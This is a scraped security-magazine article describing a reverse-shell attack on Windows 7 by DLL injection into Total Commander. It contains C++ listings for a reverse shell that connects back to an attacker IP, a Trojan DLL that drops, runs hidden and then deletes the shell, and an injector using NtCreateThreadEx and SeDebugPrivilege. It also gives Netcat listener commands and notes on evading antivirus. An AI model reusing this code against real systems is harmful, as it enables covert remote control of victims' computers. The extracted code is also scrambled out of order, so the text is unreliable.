Escolar Documentos
Profissional Documentos
Cultura Documentos
will present two methods of a successful attack to windows 7 Ultimate OS that returns a reverse shell to the attacker. The first method uses the documented windows API function CreateRemoteThread and the second method uses the undocumented funNtCreateThreadEx. I prefer the latest method because the first one triggers an alarm of the windows security essentials anti-virus (http://is.gd/FkVx3A) while the second does not! In addition, an undetectable reverse shell (developed in c++) will be used in conjunction with a method for transferring or packing an executable inside another executable (or DLL). The final attack will be performed using two approaches: The traditional (manual) approach that I use Netcat only, and the... official approach where I use the well known Armitage of the Metasploit arsenal. Figures of the attack will be available to you as well as a short videos. Before we start I would like to clarify that this article is not a How to invade tutorial neither a method of how to install a Trojan to a victims box. It is exactly what its title states: A method of calling a Reverse shell through DLL Injection using undocumented API in windows 7.
In order to perform such attack we need first to decide which executable program we want to inject. In my example I will inject the Total Commander program (http:// www.ghisler.com), the programmers favorite windows manager (and not only!). Injecting Total Commander means that when the user starts this program in its local box I will immediately get a shell in my box with
09/2011
Compile with VS 2008 from command line with cl: ****************************************************** #include <winsock2.h> #include <stdio.h> #pragma comment(lib, "Ws2_32.lib") // Inform the linker that file is needed. #define DEFAULT_PORT 1234 #define DEFAULT_IP "192.168.1.70" WSADATA wsaData; // the Ws2_32.lib *********/
} // Starting shell by creating a new process with memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection i/o redirection.
SOCKET Winsocket;
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,
STARTUPINFO theProcess;
0,NULL,NULL,&theProcess,&info_ proc)==0)
PROCESS_INFORMATION info_proc;
struct sockaddr_in Winsocket_Structure; int main(int argc, char *argv[]) { char *IP = DEFAULT_IP;
WSACleanup();
return 1;
return 0;
WSAStartup(MAKEWORD(2,2), &wsaData);
if(Winsocket==INVALID_SOCKET)
WSACleanup();
return 1;
if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Str
ucture,sizeof(Winsocket_Structure
www.hakin9.org/en
the same privileges as the Total Commander. To be specific, the method follows three steps:
The Method
1. Check if Total Commander is running. 2. If it is running inject it, and return a reverse shell to a specific IP address, then continue running Total Commander. 3. If Total Commander is not running goto 1. My approach will use three programs: 1. totalcmd.exe (Total Commander): is the program that will trigger the whole attack. 2. myDLL.DLL: Is the DLL that will be used as a Trojan horse. It will carry the reverse shell. One of its main responsibilities is when the event DLL _ PROCESS _ ATTACH occurs it will unpack the reverse shell to disk and execute it. 3. dllattack08.exe: Is the program that when executed it will remain on memory waiting to perform the above 3 steps of The Method.
I will present here my source code of my private reverse shell (Listing 1). The above program can be used as is (as a replaced of Netcat) or in conjunction with it.
We will store the executable code inside the DLL (that we are going to use later) in order to be executed when it is needed (I will explain later how). Thus, I have to get the byte code of my reverse shell and put it inside to another program. There are many methods to do this. The goal is to store the whole reverse shell executable inside a byte array and then write this byte array to disk with a new name. The new file that will be created will be a normal PE executable (http://en.wikipedia.org/wiki/ Portable_Executable)! I open my reverse shell executable AJVrs.exe using my favorite ultraEdit editor (which is hex editor too). Select all, Right Click and choose Hex Copy Selected View (Figure 1). I paste the select code in a new file; turn to Column Selection (Alt+C) and select all the byte code. Then Right Click and Copy (Figure 2). I put the selected bytes to a new file and I put a \x between every hexadecimal, as the following example indicates:
From ... ... To ... 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
Usage
To run the shell successfully we need to perform the following two tasks: Task 1: On attacker box run Netcat to listen for a connection:
on fedora : nc -l 1234
on ubuntu : nc -v -l -p 1234
on windows : nc -v -l -p 1234
09/2011
The above task can be accomplished very quick if we replace all spaces with \x. But again we will lose the first characters on each line. So it is wise if first we move all the text one position on the right: Example
From: To:
Now, I must put every single line in double quotes. Using the column mode (Alt+C) I can easily enclose each line between double quotes () in order to meet my final goal (Figure 3). Ok, thats it. I save this file to disk with the name
MyTempByteCode.txt.
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
Its time to create the DLL. It is the DLL that will be used as a Trojan horse. It will carry the reverse shell inside it. One of its main responsibilities is when DLL_PROCESS_
// (c) by Andreas Venieris (aka Thiseas) 2010 //////////////////////////////////////////////////// #include<stdio.h> #include <windows.h> // In recerseshell I just put contents of the file MyTempByteCode.txt char recerseshell[] = "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00" "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" ... ...
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) case DLL_PROCESS_ATTACH: FILE *ptr ;
fprintf(ptr, "%c",recerseshell[i]);
fclose(ptr); Sleep(1000); Sleep(1000); WinExec("\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666", SW_HIDE); WinExec("cmd /c ""del \\DLLInjection\\DirtyShell.exe"" ", SW_HIDE);
www.hakin9.org/en
Listing 3a. The program that triggers the DLL and makes an injection
// dllattack08.cpp // // (c) by Andreas Venieris (aka Thiseas) 2010 //////////////////////////////////////////////////// #include <windows.h> #include <TlHelp32.h> #include <shlwapi.h> #include <stdio.h> typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, // Add Lib: Shlwapi.lib } } } TRUE, Pc.th32ProcessID);
}while(Process32Next(hSnapshot, &Pc));
return NULL;
IN LPTHREAD_START_ROUTINE lpStartAddress, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, OUT LPVOID lpBytesBuffer
int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_ READWRITE);
return FALSE;
IN ULONG SizeOfStackReserve, );
ULONG Unknown1; ULONG Unknown2; ULONG Unknown4; ULONG Unknown6; ULONG Unknown8; PULONG Unknown3;
PULONG Unknown7; };
(LPTHREAD_
dwWaitResult = WaitForSingleObject(hThread,
do{
if(StrStrI(Pc.szExeFile, szExeName)) {
*ProcessID = Pc.th32ProcessID;
return OpenProcess(PROCESS_ALL_ACCESS,
else{
return (0);
09/2011
Listing 3b. The program that triggers the DLL and makes an injection
} } &hThread, 0x1FFFFF, NULL, hProcess,
(LPTHREAD_START_ROUTIN
int nPathLen = strlen(lpszDllPath); //MAX_PATH; // LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_ READWRITE);
nPathLen, NULL);
if(hThread != NULL){
dwWaitResult = WaitForSingleObject(hThread,
{ }
return 0;
GetProcAddress(modNtDll,
else{
} }
return (0);
{ }
return 0;
TOKEN_PRIVILEGES tp;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_
ntbuffer.Size = sizeof(NtCreateThreadExBuffer); ntbuffer.Unknown1 = 0x10003; ntbuffer.Unknown2 = 0x8; ntbuffer.Unknown4 = 0; ntbuffer.Unknown6 = 4; ntbuffer.Unknown8 = 0; HANDLE hThread;
return(GetLastError());
&Val))
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_
www.hakin9.org/en
occurs it will unpack the reverse shell to disk and execute it. I created using C++ in Microsoft Visual Studio 2008 (Listing 2). The source code is self-explanatory: When the attach process will be triggered, I will write the reverse byte code to a file, I will execute it (in order to open the reverse shell) and I will delete it from the disk in order to hide my tracks.
ATTACH
Now I need a program to trigger the above DLL. This is my 3nd program that comes into play: dllattack08.exe: It is the one that will perform the actual injection to Total Commander using a documented API function and an undocumented API one (the stealth case). I create the program using C++ VS 2008 (Listing 3). I believe that in Listing 3 some things need clarification. The function that performs the actual DLL injection using the documented API CreateRemoteThread is:
DllInject(hProcess, \\DLLInjection\\myDLL.dll)
Figure 4. When Dll injection in windows is performed the attacker (ubuntu) gets a reverse shell
The function takes 2 arguments: The process handle of the program that is going to be injected and the actual DLL filename that will be attached to the injected executable. As you can see this is open enough to accept anything you like... ;)
Listing 3c. The program that triggers the DLL and makes an injection
return(GetLastError());
CloseHandle(hToken);
}while(hProcess == NULL);
Sleep(1);
} int main(int argc, char *argv[]) { DWORD CurrentSessionID, RemoteSessionID, LPCWSTR lpVictimProcess = TEXT("totalcmd.exe"); char *cpVictimProcess = "totalcmd.exe"; printf("DLL Injection.\n"); RemoteProcessID;
&CurrentSessionID ))
if (!ProcessIdToSessionId( RemoteProcessID,
&RemoteSessionID ))
if ( ActivateSeDebugPrivilege() == 1) else
if (DllInject_2(hProcess, "\\DLLInjection\\
else
printf("\nSUCCESSFUL!\n"); printf("\nFailed!\n");
myDLL.dll"))
%s...",cpVictimProcess); }
return 0;
09/2011
[1]. Case I: Total Commander is already open http://rapidshare.com/files/454308917/Dll-Inject-AttackVideo.rar [2]. Case II: Total Commander is opened after the injection https://rapidshare.com/les/3697690472/Dll-Inject-Attack_ II.rar
The undocumented API call is implemented in the DllInject_2 function. The only change to the code in order to call this API is to replace the 7th line from the bottom of the above source code:
From To
if (DllInject(hProcess, \\DLLInjection\\myDLL.dll))
if (DllInject_2(hProcess, \\DLLInjection\\myDLL.dll))
interesting topic is the use of the function as an effort to obtain as many privileges as possible. Microsoft states that: By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do. (http://support.microsoft.com/kb/185215) This is interesting indeed. According to my tests, the above is not 100% true for windows 7, but it was worth a try... anyway. An important drawback of this method is that it triggers the Microsoft Security Essentials Antivirus. I found that the cause of the alarm is the use of the API CreateRemoteThread inside the DllInject function. So, I replace this function with a new but... undocumented one! To explain how we find and analyze undocumented Windows API functions is another story (indeed challenging) that I will try to explain in another article.
SeDebugPrivilege
Another
Below is an example of the attack using the manual (traditional) way: Figure 4.
Metasploit (http://www.metasploit.com/) is a professional tool for pen testers and not only. Armitage (http://www. fastandeasyhacking.com/) is a front-end (i can say) for metasploit. This tool can be use to perform the same attack. It can be used as client to listen to the port 6666 in order get my reverse shell. Take a look here: Figure 5 and 6. One of the interesting things here is that any reverse shell can be used. You can (for example) create an encrypted one using Metasploit, get its binary code, put it in my DLL and perform the attack. The method and the code are open enough to support such techniques.
ANDREAS VENIERIS
Andreas lives in Athens, Greece. He is a programmer and a security enthusiast. He holds a BSc in Statistics from University of Piraeus and a MSc in Articial Intelligence from department of Computer Science from University of London. He was a PhD candidate with a scholarship in Department of Informatics of University of Piraeus. He has participated in several conferences including AthCon 2010 and 2011, OpenSources and as a member at NATO Cyber Defense Exercises. He has contributed to the design and implementation of several commercial for more than 10 years. He has worked as an editor in several security magazines. He is also a core developer of the OWASP Hackademic project and other Open Source projects.
www.hakin9.org/en